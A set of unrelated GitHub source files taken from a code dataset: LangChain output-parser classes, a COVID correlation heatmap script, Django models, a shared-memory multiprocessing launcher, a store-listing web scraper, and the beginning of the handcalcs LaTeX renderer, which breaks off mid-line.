parsers help structure language model responses.\n\n Example:\n .. code-block:: python\n\n class BooleanOutputParser(BaseOutputParser[bool]):\n true_val: str = \"YES\"\n false_val: str = \"NO\"\n\n def parse(self, text: str) -> bool:\n cleaned_text = text.strip().upper()\n if cleaned_text not in (self.true_val.upper(), self.false_val.upper()):\n raise OutputParserException(\n f\"BooleanOutputParser expected output value to either be \"\n f\"{self.true_val} or {self.false_val} (case-insensitive). \"\n f\"Received {cleaned_text}.\"\n )\n return cleaned_text == self.true_val.upper()\n\n @property\n def _type(self) -> str:\n return \"boolean_output_parser\"\n \"\"\" # noqa: E501\n\n def parse_result(self, result: List[Generation]) -> T:\n \"\"\"Parse a list of candidate model Generations into a specific format.\n\n The return value is parsed from only the first Generation in the result, which\n is assumed to be the highest-likelihood Generation.\n\n Args:\n result: A list of Generations to be parsed. The Generations are assumed\n to be different candidate outputs for a single model input.\n\n Returns:\n Structured output.\n \"\"\"\n return self.parse(result[0].text)\n\n @abstractmethod\n def parse(self, text: str) -> T:\n \"\"\"Parse a single string model output into some structure.\n\n Args:\n text: String output of language model.\n\n Returns:\n Structured output.\n \"\"\"\n\n # TODO: rename 'completion' -> 'text'.\n def parse_with_prompt(self, completion: str, prompt: PromptValue) -> Any:\n \"\"\"Parse the output of an LLM call with the input prompt for context.\n\n The prompt is largely provided in the event the OutputParser wants\n to retry or fix the output in some way, and needs information from\n the prompt to do so.\n\n Args:\n completion: String output of language model.\n prompt: Input PromptValue.\n\n Returns:\n Structured output\n \"\"\"\n return self.parse(completion)\n\n def get_format_instructions(self) -> str:\n \"\"\"Instructions on how the LLM output should be formatted.\"\"\"\n raise NotImplementedError\n\n @property\n def _type(self) -> str:\n \"\"\"Return the output parser type for serialization.\"\"\"\n raise NotImplementedError(\n f\"_type property is not implemented in class {self.__class__.__name__}.\"\n \" This is required for serialization.\"\n )\n\n def dict(self, **kwargs: Any) -> Dict:\n \"\"\"Return dictionary representation of output parser.\"\"\"\n output_parser_dict = super().dict(**kwargs)\n output_parser_dict[\"_type\"] = self._type\n return output_parser_dict\n\n\nclass NoOpOutputParser(BaseOutputParser[str]):\n \"\"\"'No operation' OutputParser that returns the text as is.\"\"\"\n\n @property\n def lc_serializable(self) -> bool:\n \"\"\"Whether the class LangChain serializable.\"\"\"\n return True\n\n @property\n def _type(self) -> str:\n \"\"\"Return the output parser type for serialization.\"\"\"\n return \"default\"\n\n def parse(self, text: str) -> str:\n \"\"\"Returns the input text with no changes.\"\"\"\n return text\n\n\nclass OutputParserException(ValueError):\n \"\"\"Exception that output parsers should raise to signify a parsing error.\n\n This exists to differentiate parsing errors from other code or execution errors\n that also may arise inside the output parser. OutputParserExceptions will be\n available to catch and handle in ways to fix the parsing error, while other\n errors will be raised.\n\n Args:\n error: The error that's being re-raised or an error message.\n observation: String explanation of error which can be passed to a\n model to try and remediate the issue.\n llm_output: String model output which is error-ing.\n send_to_llm: Whether to send the observation and llm_output back to an Agent\n after an OutputParserException has been raised. This gives the underlying\n model driving the agent the context that the previous output was improperly\n structured, in the hopes that it will update the output to the correct\n format.\n \"\"\"\n\n def __init__(\n self,\n error: Any,\n observation: Optional[str] = None,\n llm_output: Optional[str] = None,\n send_to_llm: bool = False,\n ):\n super(OutputParserException, self).__init__(error)\n if send_to_llm:\n if observation is None or llm_output is None:\n raise ValueError(\n \"Arguments 'observation' & 'llm_output'\"\n \" are required if 'send_to_llm' is True\"\n )\n self.observation = observation\n self.llm_output = llm_output\n self.send_to_llm = send_to_llm\n\n\nclass BaseDocumentTransformer(ABC):\n \"\"\"Abstract base class for document transformation systems.\n\n A document transformation system takes a sequence of Documents and returns a\n sequence of transformed Documents.\n\n Example:\n .. code-block:: python\n\n class EmbeddingsRedundantFilter(BaseDocumentTransformer, BaseModel):\n embeddings: Embeddings\n similarity_fn: Callable = cosine_similarity\n similarity_threshold: float = 0.95\n\n class Config:\n arbitrary_types_allowed = True\n\n def transform_documents(\n self, documents: Sequence[Document], **kwargs: Any\n ) -> Sequence[Document]:\n stateful_documents = get_stateful_documents(documents)\n embedded_documents = _get_embeddings_from_stateful_docs(\n self.embeddings, stateful_documents\n )\n included_idxs = _filter_similar_embeddings(\n embedded_documents, self.similarity_fn, self.similarity_threshold\n )\n return [stateful_documents[i] for i in sorted(included_idxs)]\n\n async def atransform_documents(\n self, documents: Sequence[Document], **kwargs: Any\n ) -> Sequence[Document]:\n raise NotImplementedError\n\n \"\"\" # noqa: E501\n\n @abstractmethod\n def transform_documents(\n self, documents: Sequence[Document], **kwargs: Any\n ) -> Sequence[Document]:\n \"\"\"Transform a list of documents.\n\n Args:\n documents: A sequence of Documents to be transformed.\n\n Returns:\n A list of transformed Documents.\n \"\"\"\n\n @abstractmethod\n async def atransform_documents(\n self, documents: Sequence[Document], **kwargs: Any\n ) -> Sequence[Document]:\n \"\"\"Asynchronously transform a list of documents.\n\n Args:\n documents: A sequence of Documents to be transformed.\n\n Returns:\n A list of transformed Documents.\n \"\"\"\n","repo_name":"zaitianaoxiang/langchain","sub_path":"langchain/schema.py","file_name":"schema.py","file_ext":"py","file_size_in_byte":29211,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"77"} +{"seq_id":"17417636416","text":"import pandas as pd\nimport numpy as np\nimport plotly.graph_objects as go\nfrom kaleido.scopes.plotly import PlotlyScope\n\nDATA_PATH = 'output/'\nFILE_1 = 'daily_cases_wtih_race.csv'\nIMAGE_PATH = 'images/correlation/'\nscope = PlotlyScope()\npd.set_option('display.max_rows', 3000)\n# pd.set_option('display.max_columns', 20)\n# pd.set_option('display.width', 20)\n\n\ndef read_data():\n covid_df = pd.read_csv(DATA_PATH + FILE_1, index_col=[0])\n covid_df['date'] = pd.to_datetime(covid_df['date'].astype(str), format='%Y%m%d')\n\n return covid_df\n\n\ndef compute_covariance_matrix(covid_df):\n \"\"\"\n States are CA, CO, WA\n \"\"\"\n covid_df = covid_df[covid_df['date'] >= '2020-05-03']\n headers = ['date',\n 'cases_white',\n 'cases_black',\n 'cases_asian',\n 'cases_aian',\n 'cases_nhpi',\n 'cases_multiracial',\n 'cases_ethnicity_hispanic',\n 'deaths_white',\n 'deaths_black',\n 'deaths_asian',\n 'deaths_aian',\n 'deaths_nhpi',\n 'deaths_multiracial',\n 'deaths_ethnicity_hispanic',\n ]\n covid_df = covid_df[headers]\n covid_df = covid_df.dropna(thresh=len(headers) - 1).reset_index(drop=True)\n # There is an entry with a comma (object type) in cases_white which ends up getting dropped.\n covid_df['cases_white'] = covid_df['cases_white'].astype(float)\n covid_df = covid_df.groupby('date').sum().diff().iloc[1:]\n\n return covid_df\n\n\ndef create_heatmap(covid_df):\n\n covid_df = covid_df.reset_index(drop=True)\n\n covariance_matrix = covid_df.corr()\n cases_corr_matrix = covariance_matrix.iloc[0:7, 0:7]\n death_corr_matrix = covariance_matrix.iloc[7:, 7:]\n cases_death_corr_matrix = covariance_matrix.iloc[0:7, 7:]\n\n np.fill_diagonal(cases_corr_matrix.values, np.nan)\n np.fill_diagonal(death_corr_matrix.values, np.nan)\n\n cases_fig = go.Figure(\n data=go.Heatmap(\n z=cases_corr_matrix.values.tolist(),\n x=list(cases_corr_matrix.columns.values),\n y=list(cases_corr_matrix.columns.values),\n hoverongaps=False,\n colorbar=dict(title='Correlation')),\n )\n\n cases_fig.update_layout(\n title_text='Heatmap Cases by Race',\n )\n\n with open(IMAGE_PATH + \"cases_corr_matrix.png\", \"wb\") as file:\n file.write(scope.transform(cases_fig, format=\"png\"))\n\n death_fig = go.Figure(data=go.Heatmap(\n z=death_corr_matrix.values.tolist(),\n x=list(death_corr_matrix.columns.values),\n y=list(death_corr_matrix.columns.values),\n hoverongaps=False,\n colorbar=dict(title='Correlation')),\n )\n\n death_fig.update_layout(\n title_text='Heatmap Death by Race',\n )\n\n with open(IMAGE_PATH + \"death_corr_matrix.png\", \"wb\") as file:\n file.write(scope.transform(death_fig, format=\"png\"))\n\n cases_death_fig = go.Figure(data=go.Heatmap(\n z=cases_death_corr_matrix.values.tolist(),\n x=list(cases_death_corr_matrix.columns.values),\n y=list(cases_death_corr_matrix.index.values),\n hoverongaps=False,\n colorbar=dict(title='Correlation')),\n )\n\n cases_death_fig.update_layout(\n title_text='Heatmap Death and Cases by Race',\n )\n\n with open(IMAGE_PATH + \"cases_death_corr_matrix.png\", \"wb\") as file:\n file.write(scope.transform(cases_death_fig, format=\"png\"))\n\n\ndef main():\n covid_df = read_data()\n covid_df = compute_covariance_matrix(covid_df)\n covid_df = create_heatmap(covid_df)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"MikeZ77/COVID19-Project","sub_path":"05-correlation.py","file_name":"05-correlation.py","file_ext":"py","file_size_in_byte":3632,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"12959154983","text":"from django.db import models\n\n# Create your models here.\n\n\nclass Level (models.Model):\n level = models.CharField(max_length=255)\n\n class Meta:\n db_table = 'Level'\n\n def __str__(self):\n return self.level\n\n\nclass Subject(models.Model):\n level = models.ForeignKey(Level, on_delete=models.CASCADE)\n name = models.CharField(max_length=255)\n\n class Meta:\n db_table = 'Subject'\n\n def __str__(self):\n return self.name\n\n\nclass Note(models.Model):\n\n description = models.CharField(max_length= 255, blank=True)\n document = models.FileField(upload_to=\"documents/\")\n uploaded_at = models.DateTimeField(auto_now_add=True)\n level = models.ForeignKey(Level, on_delete=models.CASCADE)\n subject = models.ForeignKey(Subject, on_delete=models.CASCADE)\n\n class Meta:\n db_table = \"note_table\"\n\n","repo_name":"Casper94/SampleBlog","sub_path":"SampleBlog/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":846,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"33431817045","text":"import os\nimport numpy as np\nfrom multiprocessing import Process, shared_memory\nfrom get_input_from_cam import get_input_from_cam\nfrom face_detection import face_detection\nfrom head_pose_estimation import head_pose_estimation\n#from body_pose_estimation import body_pose_estimation\n#from action_recognition import action_recognition\nfrom networking import router_function\nfrom hand_gesture_recognition import hand_gesture_recognition\n\nif __name__ == \"__main__\":\n\t##################### shared memory initialization ########################\n\t# frame shared memory\n\ttest_array = np.zeros((640, 640, 3), dtype=np.uint8)\n\tframe_shm = shared_memory.SharedMemory(create=True, size=test_array.nbytes, name='frame')\n\tframe = np.ndarray(test_array.shape, dtype=np.uint8, buffer=frame_shm.buf)\n\n\t# depth shared memory\n\tdepth_array = np.zeros((640, 640), dtype=np.uint64)\n\tdepth_shm = shared_memory.SharedMemory(create=True, size=depth_array.nbytes, name='depth')\n\tdepth = np.ndarray(depth_array.shape, dtype=np.uint64, buffer=depth_shm.buf)\n\n\t# face box coordinate shared memory\n\tface_box_coordinate_shape = (10, 4) # for 20 peoples\n\tsize_array = np.zeros(face_box_coordinate_shape, dtype=np.int64)\n\tface_box_coordinate_shm = shared_memory.SharedMemory(create=True, size=size_array.nbytes, name = 'face_box_coordinate')\n\n\t# main user face box coordinate shared memory\n\tmain_user_face_box_coordinate_shape = (1, 4) # for 20 peoples\n\tsize_array = np.zeros(main_user_face_box_coordinate_shape, dtype=np.int64)\n\tmain_user_face_box_coordinate_shm = shared_memory.SharedMemory(create=True, size=size_array.nbytes, name = 'main_user_face_box_coordinate')\n\n\t# main user face center coordinate shared memory\n\tmain_user_face_center_coordinate_shape = (1, 3) # for 20 peoples\n\tsize_array = np.zeros(main_user_face_center_coordinate_shape, dtype=np.int64)\n\tmain_user_face_center_coordinate_shm = shared_memory.SharedMemory(create=True, size=size_array.nbytes, name = 'main_user_face_center_coordinate')\n\n\t# main user face center coordinate shared memory\n\tmain_user_calib_face_center_coordinate_shape = (1, 3) # for 20 peoples\n\tsize_array = np.zeros(main_user_calib_face_center_coordinate_shape, dtype=np.int64)\n\tmain_user_calib_face_center_coordinate_shm = shared_memory.SharedMemory(create=True, size=size_array.nbytes, name = 'main_user_calib_face_center_coordinate')\n\n # head pose shm\n\thead_pose_shape = (3) # for 1 people\n\tsize_array = np.zeros(head_pose_shape, dtype=np.int64)\n\thead_pose_shm = shared_memory.SharedMemory(create = True, size = size_array.nbytes, name = 'head_pose')\n\thead_pose_sh_array = np.ndarray(head_pose_shape, dtype=np.int64, buffer=head_pose_shm.buf)\n\n # body pose shm\n\tbody_pose_shape = (3) # for 1 people\n\tsize_array = np.zeros(body_pose_shape, dtype=np.int64)\n\tbody_pose_shm = shared_memory.SharedMemory(create = True, size = size_array.nbytes, name = 'body_pose')\n\tbody_pose_sh_array = np.ndarray(body_pose_shape, dtype=np.int64, buffer=body_pose_shm.buf)\n\n # body coordinates shm\n\tbody_coordinates_shape = (5, 3) # for 1 people\n\tsize_array = np.zeros(body_coordinates_shape, dtype=np.int64)\n\tbody_coordinates_shm = shared_memory.SharedMemory(create = True, size = size_array.nbytes, name = 'body_coordinates')\n\tbody_coordinates_sh_array = np.ndarray(body_pose_shape, dtype=np.int64, buffer=body_coordinates_shm.buf)\n\n # action shm\n\taction_shape = (1)\n\tsize_array = np.chararray(action_shape, itemsize=10)\n\taction_shm = shared_memory.SharedMemory(create = True, size = size_array.nbytes, name = 'action')\n\taction_sh_array = np.chararray(action_shape, itemsize=10, buffer=action_shm.buf)\n\n # network shm\n\tnetwork_shape = (1)\n\tsize_array = np.zeros(network_shape, dtype=np.int64)\n\tnetwork_shm = shared_memory.SharedMemory(create = True, size = size_array.nbytes, name = 'networking')\n\tnetwork_sh_array = np.ndarray(network_shape, dtype=np.int64, buffer=network_shm.buf)\n\tnetwork_sh_array[:] = 2\n\n # hand_gesture shm\n\thand_gesture_shape = (1)\n\tsize_array = np.chararray(hand_gesture_shape, itemsize=30)\n\thand_gesture_shm = shared_memory.SharedMemory(create = True, size = size_array.nbytes, name = 'hand_gesture')\n\thand_gesture_sh_array = np.chararray(hand_gesture_shape, itemsize=30, buffer=hand_gesture_shm.buf)\n\thand_gesture_sh_array[:] = 'standard'\n\n # hand_gesture \n\thand_val_shape = (3)\n\tsize_array = np.zeros(hand_val_shape, dtype=np.int64)\n\thand_val_shm = shared_memory.SharedMemory(create = True, size = size_array.nbytes, name = 'hand_val')\n\thand_val_sh_array = np.ndarray(hand_val_shape, dtype=np.int64, buffer=hand_val_shm.buf)\n\thand_val_sh_array[:] = [0, 0, 0]\n\n\t# multi renderer communication\n\t# if you want to change the port numbers or display positions, you must match the port number and display position correctly.\n\tport_numbers = [5551, 5552, 5553]\n\tdisplay_positions = [[0, 0, 0], [-730, 0, 0], [730, 0, 0]]\n\t#port_numbers = [5551]\n\t#display_positions = [[0, 0, 0]]\n\t\n # main_display_port\n\tmain_display_port_shape = (1)\n\tsize_array = np.zeros(main_display_port_shape, dtype=np.int64)\n\tmain_display_port_shm = shared_memory.SharedMemory(create = True, size = size_array.nbytes, name = 'main_display_port')\n\tmain_display_port_sh_array = np.ndarray(main_display_port_shape, dtype=np.int64, buffer=main_display_port_shm.buf)\n\tmain_display_port_sh_array[:] = 0\n\n # other display-human matching info\n\tdisplay_human_matching_shape = (70)\n\tsize_array = np.zeros(display_human_matching_shape, dtype=np.float)\n\tdisplay_human_matching_shm = shared_memory.SharedMemory(create = True, size = size_array.nbytes, name = 'display_human_matching_info')\n\tdisplay_human_matching_sh_array = np.ndarray(display_human_matching_shape, dtype=np.float, buffer=display_human_matching_shm.buf)\n\n\t#################### Multi processing #########################\n\n\tp1 = Process(target=get_input_from_cam)\n\tp2 = Process(target=face_detection)\n\tp3 = Process(target=head_pose_estimation, args=(display_positions, ))\n\t#p4 = Process(target=body_pose_estimation)\n\t#p5 = Process(target=action_recognition)\n\tfor port_number in port_numbers:\n\t\tp6 = Process(target=router_function, args=([port_number, port_numbers],))\n\t\tp6.start()\n\tp7 = Process(target=hand_gesture_recognition)\n\tp1.start()\n\tprint('p1 start')\n\tp2.start()\n\tprint('p2 start')\n\tp3.start()\n\tprint('p3 start')\n\t#p4.start()\n\t#print('p4 start')\n\t#p5.start()\n\t#print('p5 start')\n\t#p6.start()\n\tprint('p6 start')\n\tp7.start()\n\tprint('p7 start')\n\n\tp1.join()\n\tprint('p1 join')\n\tp2.join()\n\tprint('p2 join')\n\tp3.join()\n\tprint('p3 join')\n\t#p4.join()\n\t#print('p4 join')\n\t#p5.join()\n\t#print('p5 join')\n\tp6.join()\n\tprint('p6 join')\n\tp7.join()\n\tprint('p7 join')","repo_name":"LeeChanHyuk/human_display_interaction","sub_path":"code/multi_processing.py","file_name":"multi_processing.py","file_ext":"py","file_size_in_byte":6621,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"16376740799","text":"#!/usr/bin/python3\n\"\"\" two 2d rotation of 90 deg\"\"\"\n\n\ndef rotate_2d_matrix(matrix):\n array_len = len(matrix)\n\n for i in range(array_len):\n for j in range(i, array_len):\n matrix[i][j], matrix[j][i] = matrix[j][i], matrix[i][j]\n\n for i in range(array_len):\n matrix[i] = matrix[i][::-1]\n","repo_name":"egjallow10/alx-interview","sub_path":"0x07-rotate_2d_matrix/0-rotate_2d_matrix.py","file_name":"0-rotate_2d_matrix.py","file_ext":"py","file_size_in_byte":318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"36482301212","text":"import urllib.request\nfrom bs4 import BeautifulSoup\nimport re\nimport csv\nimport chardet\nimport ssl\n\ncsvFile = open(\"/Users/zhangtibin/Downloads/数据存储/TPY.csv\", \"w\", newline=\"\")\nwriter = csv.writer(csvFile)\n#writer.writerow((\"店名称\", \"描述\", \"地址\", \"部门经理\", \"联系电话\"))\nwriter.writerow((\"店名称\", \"地址\", \"联系电话\"))\n\ntotal = 0\nsumPage = 9\npageIndex = 1\nwhile (pageIndex <= sumPage):\n\n url = 'http://www.pacific.sh.cn/shows.asp?base_id=2&second_id=&third_id=&pageIndex='+ str(pageIndex)\n res = urllib.request.urlopen(url)\n soup = BeautifulSoup(res, \"html.parser\")\n #获取页面相应的标签\n storeInfoList = soup.findAll(attrs={\"class\": \"txt\"})\n #本页店面的数量\n storeNum = len(storeInfoList)\n print('本页店面的数量' + str(storeNum))\n\n for storeInfo in storeInfoList:\n storeName = storeInfo.find(\"h6\").find(\"a\").get_text()\n #storeIntro = storeInfo.find(attrs={\"class\": \"intro\"}).get_text()\n storeBaseInfo = storeInfo.findAll(\"p\")\n storeAddress = storeBaseInfo[1].get_text()\n #storeManager = storeBaseInfo[3].get_text()\n storeMobile = storeBaseInfo[4].get_text()\n #writer.writerow((storeName, str(storeIntro.encode('utf-8')), storeAddress.encode('utf-8')[5:], storeManager.encode('utf-8')[5:],storeMobile.encode('utf-8')[5:]))\n writer.writerow((storeName, storeAddress[5:], storeMobile[5:]))\n\n pageIndex = pageIndex + 1\n total = total + storeNum\n\n\n\ncsvFile.close()\n\nprint(total)\n","repo_name":"zhangtibin/PythonLearning","sub_path":"PythonLearningProject/jimu.py","file_name":"jimu.py","file_ext":"py","file_size_in_byte":1522,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"} +{"seq_id":"30579254848","text":"\"\"\"Print all data received on the serial port.\"\"\"\n\n# Builtins\n\nimport argparse\n\n# Packages\n\n\n# Parsing\n\ndef parse_args(*arg_adders, grouped_args, **parser_kwargs):\n \"\"\"Parse the command-line args in groups.\"\"\"\n parser = argparse.ArgumentParser(**parser_kwargs)\n for arg_adder in arg_adders:\n arg_adder(parser)\n for (group_adder, arg_adders) in grouped_args.items():\n group = group_adder(parser)\n for arg_adder in arg_adders:\n arg_adder(group)\n return parser.parse_args()\n","repo_name":"ethanjli/phyllo-python","sub_path":"phyllo/io/cli/args/args.py","file_name":"args.py","file_ext":"py","file_size_in_byte":518,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"15594752535","text":"from collections import deque, ChainMap\nimport copy\nfrom dataclasses import dataclass\nfrom functools import singledispatch\nimport importlib\nimport inspect\nimport itertools\nimport more_itertools\nimport math\nimport os\nimport pathlib\nimport re\nfrom typing import Any, Union, Optional, Tuple, List\nimport pyparsing as pp\n\nfrom handcalcs.constants import GREEK_UPPER, GREEK_LOWER\nfrom handcalcs import global_config\nfrom handcalcs.integrations import DimensionalityError\n\n# Six basic line types\n@dataclass\nclass CalcLine:\n line: deque\n comment: str\n latex: str\n\n\n@dataclass\nclass SymbolicLine:\n line: deque\n comment: str\n latex: str\n\n\n@dataclass\nclass ConditionalLine:\n condition: deque\n condition_type: str\n expressions: deque\n raw_condition: str\n raw_expression: str\n true_condition: deque\n true_expressions: deque\n comment: str\n latex_condition: str\n latex_expressions: str\n latex: str\n\n\n@dataclass\nclass ParameterLine:\n line: deque\n comment: str\n latex: str\n\n\n@dataclass\nclass LongCalcLine:\n line: deque\n comment: str\n latex: str\n\n\n@dataclass\nclass NumericCalcLine:\n line: deque\n comment: str\n latex: str\n\n\n@dataclass\nclass IntertextLine:\n line: deque\n comment: str\n latex: str\n\n\n@dataclass\nclass BlankLine: # Attributes not used on BlankLine but still req'd\n line: deque\n comment: str\n latex: str\n\n\n# Five types of cell\n@dataclass\nclass CalcCell:\n source: str\n calculated_results: dict\n precision: Optional[int]\n scientific_notation: Optional[bool]\n lines: deque\n latex_code: str\n\n\n@dataclass\nclass ShortCalcCell:\n source: str\n calculated_results: dict\n precision: Optional[int]\n scientific_notation: Optional[bool]\n lines: deque\n latex_code: str\n\n\n@dataclass\nclass SymbolicCell:\n source: str\n calculated_results: dict\n precision: Optional[int]\n scientific_notation: Optional[bool]\n lines: deque\n latex_code: str\n\n\n@dataclass\nclass ParameterCell:\n source: str\n calculated_results: dict\n lines: deque\n precision: Optional[int]\n scientific_notation: Optional[bool]\n # cols: int\n latex_code: str\n\n\n@dataclass\nclass LongCalcCell:\n source: str\n calculated_results: dict\n lines: deque\n precision: Optional[int]\n scientific_notation: Optional[bool]\n latex_code: str\n\n\ndef is_number(s: str) -> bool:\n \"\"\"\n A basic helper function because Python str methods do not\n have this ability...\n \"\"\"\n try:\n float(s)\n return True\n except:\n return False\n\n\ndef dict_get(d: dict, item: Any) -> Any:\n \"\"\"\n Return the item from the dict, 'd'.\n \"\"\"\n try:\n return d.get(item, item)\n except TypeError:\n return item\n\n\n# The renderer class (\"output\" class)\nclass LatexRenderer:\n # dec_sep = \".\"\n\n def __init__(self, python_code_str: str, results: dict, line_args: dict):\n self.source = python_code_str\n self.results = results\n self.override_precision = line_args[\"precision\"]\n self.override_scientific_notation = line_args[\"sci_not\"]\n self.override_commands = line_args[\"override\"]\n\n def render(self, config_options: dict = global_config._config):\n return latex(\n raw_python_source=self.source,\n calculated_results=self.results,\n override_commands=self.override_commands,\n config_options=config_options,\n cell_precision=self.override_precision,\n cell_notation=self.override_scientific_notation,\n )\n\n\n# Pure functions that do all the work\ndef latex(\n raw_python_source: str,\n calculated_results: dict,\n override_commands: str,\n config_options: dict,\n cell_precision: Optional[int] = None,\n cell_notation: Optional[bool] = None,\n) -> str:\n \"\"\"\n Returns the Python source as a string that has been converted into latex code.\n \"\"\"\n # decimal_separator = config_options.get(\"decimal_separator\")\n # latex_block_start = config_options.get(\"latex_block_start\")\n # latex_block_end = config_options.get(\"latex_block_end\")\n # latex_math_environment = config_options.get(\"latex_math_environment\")\n # use_sci_notation = config_options.get(\"use_sci_notation\")\n # display_precision = config_options.get(\"display_precision\")\n # underscore_subscripts = config_options.get(\"underscore_subscripts\")\n # greek_exclusions = config_options.get(\"greek_exclusions\")\n # param_columns = config_options.get(\"param_columns\")\n\n source = raw_python_source\n\n cell = categorize_raw_cell(\n source,\n calculated_results,\n override_commands,\n cell_precision,\n cell_notation,\n )\n cell = categorize_lines(cell)\n cell = convert_cell(\n cell,\n **config_options,\n )\n cell = format_cell(\n cell,\n **config_options,\n # dec_sep\n )\n return cell.latex_code\n\n\ndef categorize_raw_cell(\n raw_source: str,\n calculated_results: dict,\n override_commands: str,\n cell_precision: Optional[int] = None,\n cell_notation: Optional[bool] = None,\n) -> Union[ParameterCell, CalcCell]:\n \"\"\"\n Return a \"Cell\" type depending on the source code of the cell.\n \"\"\"\n if override_commands:\n if override_commands == \"params\":\n return create_param_cell(\n raw_source, calculated_results, cell_precision, cell_notation\n )\n elif override_commands == \"long\":\n return create_long_cell(\n raw_source, calculated_results, cell_precision, cell_notation\n )\n elif override_commands == \"short\":\n return create_short_cell(\n raw_source, calculated_results, cell_precision, cell_notation\n )\n elif override_commands == \"symbolic\":\n return create_symbolic_cell(\n raw_source, calculated_results, cell_precision, cell_notation\n )\n\n if test_for_parameter_cell(raw_source):\n return create_param_cell(\n raw_source, calculated_results, cell_precision, cell_notation\n )\n elif test_for_long_cell(raw_source):\n return create_long_cell(\n raw_source, calculated_results, cell_precision, cell_notation\n )\n elif test_for_short_cell(raw_source):\n return create_short_cell(\n raw_source, calculated_results, cell_precision, cell_notation\n )\n elif test_for_symbolic_cell(raw_source):\n return create_symbolic_cell(\n raw_source, calculated_results, cell_precision, cell_notation\n )\n else:\n return create_calc_cell(\n raw_source, calculated_results, cell_precision, cell_notation\n )\n\n\ndef strip_cell_code(raw_source: str) -> str:\n \"\"\"\n Return 'raw_source' with the \"cell code\" removed.\n A \"cell code\" is a first-line comment in the cell for the\n purpose of categorizing an IPython cell as something other\n than a CalcCell.\n \"\"\"\n split_lines = deque(raw_source.split(\"\\n\"))\n first_line = split_lines[0]\n if first_line.startswith(\"#\") and not first_line.startswith(\n \"##\"\n ): ## for intertext line\n split_lines.popleft()\n return \"\\n\".join(split_lines)\n return raw_source\n\n\ndef categorize_lines(\n cell: Union[CalcCell, ParameterCell]\n) -> Union[CalcCell, ParameterCell]:\n \"\"\"\n Return 'cell' with the line data contained in cell_object.source categorized\n into one of four types:\n * CalcLine\n * ParameterLine\n * ConditionalLine\n\n categorize_lines(calc_cell) is considered the default behaviour for the\n singledispatch categorize_lines function.\n \"\"\"\n incoming = cell.source.rstrip().split(\"\\n\")\n outgoing = deque([])\n calculated_results = cell.calculated_results\n cell_override = \"\"\n for line in incoming:\n if isinstance(cell, ParameterCell):\n cell_override = \"parameter\"\n elif isinstance(cell, LongCalcCell):\n cell_override = \"long\"\n elif isinstance(cell, SymbolicCell):\n cell_override = \"symbolic\"\n categorized = categorize_line(line, calculated_results, cell_override)\n categorized_w_result_appended = add_result_values_to_line(\n categorized, calculated_results\n )\n outgoing.append(categorized_w_result_appended)\n cell.lines = outgoing\n return cell\n\n\ndef categorize_line(\n line: str, calculated_results: dict, cell_override: str = \"\"\n) -> Union[CalcLine, ParameterLine, ConditionalLine]:\n \"\"\"\n Return 'line' as either a CalcLine, ParameterLine, or ConditionalLine if 'line'\n fits the appropriate criteria. Raise ValueError, otherwise.\n\n 'override' is a str used to short-cut the tests in categorize_line(). e.g.\n if the cell that the lines belong to is a ParameterCell,\n we do not need to run the test_for_parameter_line() function on the line\n because, in a ParameterCell, all lines will default to a ParameterLine\n because of the cell it's in and how that cell is supposed to behave.\n\n 'override' is passed from the categorize_lines() function because that\n function has the information of the cell type and can pass along any\n desired behavior to categorize_line().\n \"\"\"\n if test_for_blank_line(line):\n return BlankLine(line, \"\", \"\")\n\n if test_for_intertext_line(line):\n return IntertextLine(line, \"\", \"\")\n\n if line.startswith(\"#\"):\n return BlankLine(line, \"\", \"\")\n\n try:\n line, comment = line.split(\"#\", 1)\n except ValueError:\n comment = \"\"\n\n # Override behaviour\n categorized_line = None\n if cell_override == \"parameter\":\n if test_for_conditional_line(line):\n categorized_line = create_conditional_line(\n line, calculated_results, cell_override, comment\n )\n else:\n categorized_line = ParameterLine(\n split_parameter_line(line, calculated_results), comment, \"\"\n )\n return categorized_line\n\n elif cell_override == \"long\":\n if test_for_parameter_line(line): # A parameter can exist in a long cell, too\n categorized_line = ParameterLine(\n split_parameter_line(line, calculated_results), comment, \"\"\n )\n elif test_for_conditional_line(\n line\n ): # A conditional line can exist in a long cell, too\n categorized_line = create_conditional_line(\n line, calculated_results, cell_override, comment\n )\n elif test_for_numeric_line(\n deque(\n list(expr_parser(line))[1:]\n ) # Leave off the declared variable, e.g. _x_ = ...\n ):\n categorized_line = NumericCalcLine(expr_parser(line), comment, \"\")\n\n else:\n categorized_line = LongCalcLine(\n expr_parser(line), comment, \"\"\n ) # code_reader\n return categorized_line\n\n elif cell_override == \"symbolic\":\n if test_for_conditional_line(\n line\n ): # A conditional line can exist in a symbolic cell, too\n categorized_line = create_conditional_line(\n line, calculated_results, cell_override, comment\n )\n else:\n categorized_line = SymbolicLine(\n expr_parser(line), comment, \"\"\n ) # code_reader\n return categorized_line\n\n elif cell_override == \"short\":\n if test_for_numeric_line(\n deque(list(line)[1:]) # Leave off the declared variable\n ):\n categorized_line = NumericCalcLine(expr_parser(line), comment, \"\")\n else:\n categorized_line = CalcLine(expr_parser(line), comment, \"\") # code_reader\n\n return categorized_line\n elif True:\n pass # Future override conditions to match new cell types can be put here\n\n # Standard behaviour\n if line == \"\\n\" or line == \"\":\n categorized_line = BlankLine(line, \"\", \"\")\n\n elif test_for_parameter_line(line):\n categorized_line = ParameterLine(\n split_parameter_line(line, calculated_results), comment, \"\"\n )\n\n elif test_for_conditional_line(line):\n categorized_line = create_conditional_line(\n line, calculated_results, cell_override, comment\n )\n\n elif test_for_numeric_line(\n deque(list(expr_parser(line))[1:]) # Leave off the declared variable\n ):\n categorized_line = NumericCalcLine(expr_parser(line), comment, \"\")\n\n elif \"=\" in line:\n categorized_line = CalcLine(expr_parser(line), comment, \"\") # code_reader\n\n elif len(expr_parser(line)) == 1:\n categorized_line = ParameterLine(\n split_parameter_line(line, calculated_results), comment, \"\"\n )\n\n else:\n # TODO: Raise this error in a test\n raise 